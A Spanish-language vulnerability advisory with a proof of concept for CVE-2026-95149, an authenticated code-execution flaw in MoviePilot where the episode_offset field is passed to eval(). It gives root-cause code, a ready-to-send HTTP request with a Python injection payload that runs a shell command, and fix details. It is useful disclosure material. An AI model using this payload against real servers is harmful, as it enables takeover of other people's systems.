
Prueba de concepto y análisis de causa raíz de CVE-2026-95149, una RCE autenticada en FormatParser de MoviePilot mediante inyección de eval() en episode_offset, con PoC HTTP y detalles de la corrección.
eval() en episode_offset (FormatParser de MoviePilot)| Campo | Valor |
|---|---|
| ID de CVE | CVE-2026-95149 |
| Producto | MoviePilot (jxxghp/MoviePilot) |
| Versiones afectadas | <= v3.0.0 |
| Corregido en | rama v3 — commit 65b9c777de9194e40ba29dc17345afc5b4b4b0ba |
| Gravedad | Alta |
| Vector de ataque | Remoto, a través de la API HTTP |
| Privilegios requeridos | Usuario de gestión autenticado (cuenta de administrador o con rol de gestión) |
| Interacción del usuario | Ninguna |
| Reportado | 2026-09-11 |
| Issue público | jxxghp/MoviePilot#6644 |
FormatParser acepta una cadena arbitraria y solo ramifica según si contiene "EP" — nunca valida que
el resto de la cadena sea una expresión aritmética bien formada:
elif "EP" in offset:
self.__offset = offset
Varias ramas posteriores construyen entonces una expresión de Python mediante sustitución textual y la evalúan directamente:
start_ep = self.__offset.replace("EP", str(self._start_ep))
return int(eval(start_ep)), None, self.part
El envoltorio int(...) solo restringe el valor de retorno de la expresión; no impide los efectos secundarios que
ocurren durante la evaluación. Por lo tanto, cualquier llamada a función, importación o acceso a atributos incrustado en el payload se ejecuta
antes de que el valor final se convierta a int.
Un intento de mitigación habitual es multiplicar el payload por cero para que el resultado aritmético siga siendo numérico:
EP+__import__('os').system('touch /tmp/success')*0
Esto sigue funcionando. El efecto secundario (la ejecución del comando) ocurre durante la evaluación, mucho antes de que la suma
final se convierta a int, por lo que el atacante acaba obteniendo tanto la ejecución de comandos como un valor que pasa
la comprobación de tipo int().
POST /api/v1/transfer/manual?background=false HTTP/1.1
Host: x.x.x.x
Content-Length: 814
X-MoviePilot-Locale: zh-CN
Authorization: Bearer XXXX
Accept-Language: zh-CN
Accept: application/json, text/plain, */*
DNT: 1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
{
"fileitem": {
"storage": "local",
"path": "/configured/media/file.mkv",
"type": "file",
"name": "file.mkv"
},
"episode_offset": "EP+__import__('os').system('touch /tmp/success')*0"
}
En una instancia vulnerable, el proceso del servicio MoviePilot crea /tmp/success. Si la llamada a la API no devuelve
200, la conversión int() lanzará una excepción — pero el comando inyectado ya se ha ejecutado, por lo que el resultado de la petición es
irrelevante para el exploit.
app/application/formatting.py (líneas 102 y 184 en v3.0.0)app/api/endpoints/transfer.py:645 → app/schemas/transfer.py:302